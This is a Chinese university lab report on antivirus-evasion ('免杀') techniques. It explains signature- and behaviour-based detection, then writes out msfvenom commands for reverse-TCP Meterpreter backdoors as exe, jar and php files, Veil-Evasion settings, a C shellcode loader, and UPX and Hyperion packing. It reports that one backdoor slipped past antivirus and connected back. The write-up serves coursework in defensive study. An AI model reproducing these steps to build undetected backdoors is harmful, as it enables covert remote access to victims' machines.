2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践

免杀原理及基础问题回答

一、免杀原理

  • 一般是对恶意软件做处理,让它不被杀毒软件所检测。也是渗透测试中需要使用到的技术。
  • 要做好免杀,就时清楚杀毒软件(恶意软件检测工具)是如何工作的。AV(Anti-virus)是很大一个产业。其中主要的技术人员基本有编制恶意软件的经验。
  • 反过来也一样,了解了免杀的工具和技术,你也就具有了反制它的基础。

二、基础问题回答

问:杀软是如何检测出恶意代码的?

  • 基于特征码的检测:恶意代码有一些其他正常程序没有的特征码。如果杀软检测到一个可执行文件包含特征码就认为其是恶意代码。

  • 基于行为的恶意软件检测:通过对恶意代码的观察、研究,有一些行为是恶意代码的共同行为,而且比较特殊。所以当一个程序在运行时,杀毒软件会监视其行为,如果发现了这种特殊的行为,则会把它当成恶意软件。

问:免杀是做什么?

通过使用一些技术手段,让杀毒软件无法识别并分析主机中的恶意代码。

问:免杀的基本方法有哪些?

  • 改变特征码
  1. 只有EXE——加壳(压缩壳 加密壳)
  2. 有shellcode(像Meterpreter)——利用encode进行编码
  3. 有源代码——用其他语言进行重写再编译
  • 改变行为:
  1. 通讯方式:尽量使用反弹式连接、使用隧道技术、加密通讯数据等。
  2. 操作模式:基于内存操作、减少对系统的修改、加入混淆作用的正常功能代码等。

三、免杀效果评价

利用VirusTotal或Virscan,它们集成了60多个商业杀毒软件的扫描引擎。可以上传免杀处理过的程序进行检测。

实验内容

任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

1. 正确使用msf编码器,生成exe文件

  • 实验二中使用msf生成了后门程序,我们可以使用VirusTotal或Virscan这两个网站对生成的后门程序进行扫描。

  • 用VirusTotal扫描后结果如下:

  • 十次编码使用命令:-i设置迭代次数

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00’ LHOST=192.168.168.136 LPORT=5232 -f exe > met-encoded10.exe

  • 将编码十次后的可执行文件上传到VirusTotal扫描后结果如下:

可见多次编码对免杀没有太大的效果

2. msfvenom生成jar文件

  • 生成java后门程序使用命令:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.168.135 LPORT=5232 x> backdoor_java.jar
  • 生成文件如下所示:

  • 扫描结果如下:

3. msfvenom生成php文件

  • 生成PHP后门程序使用命令:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.168.135 LPORT=5232 x> 20165232_backdoor.php
  • 生成文件如下所示:

  • 扫描结果如下:

4. 使用veil-evasion生成后门程序及检测

安装veil

我按照步骤安装veil没有成功,一直无法展开对象,装了五个小时以后放弃了,拷了同学虚拟机,所以下面linux ip地址会有变化。

  • 输入veil指令,会出现下面这个界面

  • 用use evasion命令进入Evil-Evasion

  • 输入命令use c/meterpreter/rev_tcp.py进入配置界面

  • 设置反弹连接IP,命令为:set LHOST 192.168.168.136

  • 设置端口,命令为:set LPORT 5232

  • 输入generate生成文件,接着输入你想要playload的名字:veil_c_5232

  • 检测一下:

5. 半手工注入Shellcode并执行

  • 首先使用命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.161 LPORT=5232 -f

用c语言生成一段shellcode;

  • 创建一个文件20165232.c,然后将unsigned char buf[]赋值到其中,代码如下:
unsigned char buf[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
此处省略
"\xc3\xbb\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5"; int main()
{
int (*func)() = (int(*)())buf;
func();
}
  • 使用命令:i686-w64-mingw32-g++ 20165232.c -o 20165232.exe编译这个.c文件为可执行文件;

  • 刚发到主机还没来得及检测就被查杀

  • 加壳尝试
加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。大多数病毒就是基于此原理。
加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
这种技术也常用来保护软件版权,防止软件被破解。但对于病毒,加壳可以绕过一些杀毒软件的扫描,从而实现它作为病毒的一些入侵或破坏的一些特性。
MSF的编码器使用类似方法,对shellcode进行再编码。
  • 使用压缩壳(UPX)

  • 被查杀

  • 于是将它放到白名单

  • 查看连接情况,可以反弹连接

    (做这一步的时候生成的加壳文件在主机打开但虚拟机无法监听到,检查发现无法ping通,也找不到解决办法,就重新设置了一下虚拟机网段,又返回到上上一步做,但做成功的我就没有重复截图,ip地址由192.168.168.136变成了192.168.11.128)

  • 检查一下

任务二:通过组合应用各种技术实现恶意代码免杀
  • 加密壳Hyperion

    将上一个生成的文件拷贝到
/usr/share/windows-binaries/hyperion/

目录中

  • 进入目录
/usr/share/windows-binaries/hyperion/

  • 输入命令
wine hyperion.exe -v hydupxed.exe hydupxed_hyperion.exe

进行加壳:





  • 用360查杀一下

任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
  • 实验环境:对方电脑为 win7主机
  • 我将上一步生成的文件发送过去在其电脑内检测

  • 反弹连接

实验遇到的问题

这次试验真的遇到了非常多的问题,周四就开始做,一直到现在才完成

  1. veil安装不成功的问题,后面只能拷同学虚拟机来继续完成
  2. 生成的加壳或者加密壳文件在主机无法打开,显示
Windows无法访问指定设备,路径或文件,您可能没有合适的权限访问这个项目
  1. 在无法打开的文件、文件夹上单击鼠标右键,选择【属性】。
  2. 切换到【安全】选项,在下面点击【高级选项】。
  3. 在【高级安全设置】窗口中点击所有者后的【更改】。

2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践的更多相关文章

  1. 2018-2019-2 20165315 《网络对抗技术》Exp3 免杀原理与实践

    2018-2019-2 20165315 <网络对抗技术>Exp3 免杀原理与实践 一.实验内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion ...

  2. 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...

  3. 2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165318 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

  4. 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...

  5. 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...

  6. 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  7. 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践

    - 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...

  8. 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践

    2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...

  9. 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践

    2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...

随机推荐

  1. 安卓9.0系统机器(亲测有效)激活Xposed框架的步骤

    对于喜欢玩手机的哥们来说,经常会用到xposed框架及其种类繁多功能无敌的模块,对于5.0以下的系统版本,只要手机能获得root权限,安装和激活xposed框架是非常简便的,但随着系统版本的持续更新, ...

  2. 小米平板7.0系统如何不root激活Xposed框架的方法

    在越来越多公司的引流或业务操作中,基本都需要使用安卓的强大XPOSED框架,这段时间我们公司买来了一批新的小米平板7.0系统,基本都都是基于7.0以上版本,基本都不能够获取root超级权限,即使小部分 ...

  3. QC API全系列揭秘之Test Execution操作(全网首发)

    (原创文章,转载请注明出处.) 一.QC简介: Quality Center存在至今已经走过了10多个年头,名字从一开始的TD,到后来的QC,再到现在的ALM.所属公司从开始的Mercury到现在的H ...

  4. java优先级队列的使用 leecode.703.数据流中的第K大元素

    //设计一个找到数据流中第K大元素的类(class). //注意是排序后的第K大元素,不是第K个不同的元素. class KthLargest { private PriorityQueue<I ...

  5. HDFS深度历险 之 从客户端逻辑看HDFS写入机制

    说明 除了标注之外,本文纯属原创,转载请注明出处:https://www.jianshu.com/p/ea6ef5f5b868, https://www.cnblogs.com/monkeyteng/ ...

  6. 浅谈SQL Server数据内部表现形式

    在上篇文章 浅谈SQL Server内部运行机制 中,与大家分享了SQL Server内部运行机制,通过上次的分享,相信大家已经能解决如下几个问题: 1.SQL Server 体系结构由哪几部分组成? ...

  7. Java基础系列--06_抽象类与接口概述

    抽象类 (1)如果多个类中存在相同的方法声明,而方法体不一样,我们就可以只提取方法声明. 如果一个方法只有方法声明,没有方法体,那么这个方法必须用抽象修饰. 而一个类中如果有抽象方法,这个类必须定义为 ...

  8. ZJOI2019一轮停课刷题记录

    Preface 菜鸡HL终于狗来了他的省选停课,这次的时间很长,暂定停到一试结束,不过有机会二试的话还是可以搞到4月了 这段时间的学习就变得量大而且杂了,一般以刷薄弱的知识点和补一些新的奇怪技巧为主. ...

  9. 在混合开发框架模式中,简化客户端对Web API的频繁调用

    在混合开发框架模式中,有时候我们在处理树形节点的时候,需要很多关联的处理,可能需要结合用户配置信息,属性字典,以及表的字段分类等信息来展示一个结构树,那么在处理的时候就可能会频繁的对这些接口API进行 ...

  10. 原创|1分钟搞定 Nginx 版本的平滑升级与回滚

    Nginx无论是对于运维.开发.还是测试来说,都是日常工作需要掌握的一个知识点,之前也写过不少关于Nginx相关的文章: Nginx服务介绍与安装 Nginx服务配置文件介绍 Nginx配置虚拟主机 ...